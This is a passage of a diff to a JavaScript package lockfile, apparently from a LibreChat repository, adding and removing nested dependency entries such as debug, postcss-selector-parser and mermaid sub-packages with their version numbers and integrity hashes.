"jest-snapshot/jest-matcher-utils": ["jest-matcher-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", "jest-diff": "30.2.0", "pretty-format": "30.2.0" } }, "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg=="],
- "jest-snapshot/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-snapshot/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-snapshot/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"jest-snapshot/synckit": ["synckit@0.11.11", "", { "dependencies": { "@pkgr/core": "^0.2.9" } }, "sha512-MeQTA1r0litLUf0Rp/iisCaL8761lKAZHaimlbGK4j0HysC4PLfqygQj9srcs0m2RdtDYnF8UuYyKpbjHYp7Jw=="],
- "jest-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
-
- "jest-util/ci-info": ["ci-info@3.9.0", "", {}, "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ=="],
-
- "jest-util/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
-
"jest-validate/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
- "jest-watcher/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
- "jest-worker/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-worker/supports-color": ["supports-color@8.1.1", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q=="],
+ "js-yaml/argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="],
+
"jsdom/decimal.js": ["decimal.js@10.6.0", "", {}, "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg=="],
"jsdom/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
@@ -5991,30 +6215,30 @@
"jsonwebtoken/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
+ "jszip/readable-stream": ["readable-stream@2.3.8", "", { "dependencies": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", "isarray": "~1.0.0", "process-nextick-args": "~2.0.0", "safe-buffer": "~5.1.1", "string_decoder": "~1.1.1", "util-deprecate": "~1.0.1" } }, "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA=="],
+
"jwks-rsa/@types/express": ["@types/express@4.17.21", "", { "dependencies": { "@types/body-parser": "*", "@types/express-serve-static-core": "^4.17.33", "@types/qs": "*", "@types/serve-static": "*" } }, "sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ=="],
+ "jwks-rsa/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"jwks-rsa/jose": ["jose@4.15.5", "", {}, "sha512-jc7BFxgKPKi94uOvEmzlSWFFe2+vASyXaKUpdQKatWAESU2MWjDfFf0fdfc83CDKcA5QecabZeNLyfhe3yKNkg=="],
"katex/commander": ["commander@8.3.0", "", {}, "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww=="],
"keyv-file/@keyv/serialize": ["@keyv/serialize@1.0.3", "", { "dependencies": { "buffer": "^6.0.3" } }, "sha512-qnEovoOp5Np2JDGonIDL6Ayihw0RhnRh6vxPuHo4RDn1UOzwEo4AeIfpL6UGIrsceWrCMiVPgwRjbHu4vYFc3g=="],
- "keyv-file/tslib": ["tslib@1.14.1", "", {}, "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="],
-
"langsmith/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"langsmith/uuid": ["uuid@10.0.0", "", { "bin": "dist/bin/uuid" }, "sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ=="],
"ldapauth-fork/lru-cache": ["lru-cache@7.18.3", "", {}, "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA=="],
- "librechat-data-provider/@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="],
-
- "librechat-data-provider/@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="],
-
- "librechat-data-provider/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
+ "librechat-data-provider/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
"lint-staged/chalk": ["chalk@5.4.1", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="],
+ "lint-staged/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"log-update/ansi-escapes": ["ansi-escapes@7.0.0", "", { "dependencies": { "environment": "^1.0.0" } }, "sha512-GdYO7a61mR0fOlAsvC9/rIHf7L96sBc6dEWzeOu+KAea5bZyQRPIpojrVoI4AXGJS/ycu/fBTdLrUkA4ODrvjw=="],
"log-update/slice-ansi": ["slice-ansi@7.1.0", "", { "dependencies": { "ansi-styles": "^6.2.1", "is-fullwidth-code-point": "^5.0.0" } }, "sha512-bSiSngZ/jWeX93BqeIAbImyTbEihizcwNjFoRUIY/T1wWQsfsm2Vw1agPKylXvQTU7iASGdHhyqRlqQzfz+Htg=="],
@@ -6027,30 +6251,50 @@
"lru-memoizer/lru-cache": ["lru-cache@6.0.0", "", { "dependencies": { "yallist": "^4.0.0" } }, "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA=="],
- "mathjs/fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="],
-
"mdast-util-find-and-replace/escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="],
"mdast-util-math/unist-util-remove-position": ["unist-util-remove-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-visit": "^5.0.0" } }, "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q=="],
"mdast-util-mdx-jsx/unist-util-remove-position": ["unist-util-remove-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-visit": "^5.0.0" } }, "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q=="],
+ "memorystore/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "mermaid/dayjs": ["dayjs@1.11.19", "", {}, "sha512-t5EcLVS6QPBNqM2z8fakk/NKel+Xzshgt8FFKAn+qwlD1pzZWxh0nVCrvFK7ZDb6XucZeF9z8C7CBWTRIVApAw=="],
+
+ "mermaid/marked": ["marked@16.4.2", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-TI3V8YYWvkVf3KJe1dRkpnjs68JUPyEa5vjKrp1XEEJUAOaQc+Qj+L1qWbPd0SJuAdQkFU0h73sXXqwDYxsiDA=="],
+
+ "mermaid/uuid": ["uuid@11.1.0", "", { "bin": "dist/esm/bin/uuid" }, "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A=="],
+
+ "micromark/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"micromatch/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
"miller-rabin/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
+ "mlly/acorn": ["acorn@8.16.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="],
+
+ "monaco-editor/dompurify": ["dompurify@3.2.7", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw=="],
+
"mongodb-connection-string-url/whatwg-url": ["whatwg-url@14.2.0", "", { "dependencies": { "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" } }, "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw=="],
+ "mongodb-memory-server-core/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"mongodb-memory-server-core/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
- "multer/mkdirp": ["mkdirp@0.5.6", "", { "dependencies": { "minimist": "^1.2.6" }, "bin": "bin/cmd.js" }, "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw=="],
+ "mquery/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
"multer/type-is": ["type-is@1.6.18", "", { "dependencies": { "media-typer": "0.3.0", "mime-types": "~2.1.24" } }, "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g=="],
+ "new-find-package-json/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"node-stdlib-browser/buffer": ["buffer@5.7.1", "", { "dependencies": { "base64-js": "^1.3.1", "ieee754": "^1.1.13" } }, "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ=="],
"node-stdlib-browser/pkg-dir": ["pkg-dir@5.0.0", "", { "dependencies": { "find-up": "^5.0.0" } }, "sha512-NPE8TDbzl/3YQYY7CSS228s3g2ollTFnc+Qi3tqmqJp9Vg2ovUpixcJEo2HJScN2Ez+kEaal6y70c0ehqJBJeA=="],
+ "nodemon/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "nodemon/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
"nodemon/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"npm-run-path/path-key": ["path-key@4.0.0", "", {}, "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ=="],
@@ -6073,18 +6317,26 @@
"playwright/fsevents": ["fsevents@2.3.2", "", { "os": "darwin" }, "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA=="],
+ "postcss-attribute-case-insensitive/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
"postcss-colormin/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
"postcss-convert-values/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+ "postcss-custom-selectors/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "postcss-dir-pseudo-class/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "postcss-focus-visible/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "postcss-focus-within/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
"postcss-import/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
"postcss-load-config/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="],
"postcss-load-config/yaml": ["yaml@1.10.2", "", {}, "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="],
- "postcss-loader/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
-
"postcss-merge-rules/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
"postcss-minify-params/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
@@ -6093,20 +6345,28 @@
"postcss-modules-scope/postcss-selector-parser": ["postcss-selector-parser@7.1.0", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-8sLjZwK0R+JlxlYcTuVnyT2v+htpdrjDOKuMcOVdYjt52Lh8hWRYpxBPoKx/Zg+bcjc3wx6fmQevMmUztS/ccA=="],
+ "postcss-nesting/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
"postcss-normalize-unicode/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
- "postcss-preset-env/autoprefixer": ["autoprefixer@10.4.17", "", { "dependencies": { "browserslist": "^4.22.2", "caniuse-lite": "^1.0.30001578", "fraction.js": "^4.3.7", "normalize-range": "^0.1.2", "picocolors": "^1.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": "bin/autoprefixer" }, "sha512-/cpVNRLSfhOtcGflT13P2794gVSgmPgTR+erw5ifnMLZb0UnSlkK4tquLmkd3BhA+nLo5tX8Cu0upUsGKvKbmg=="],
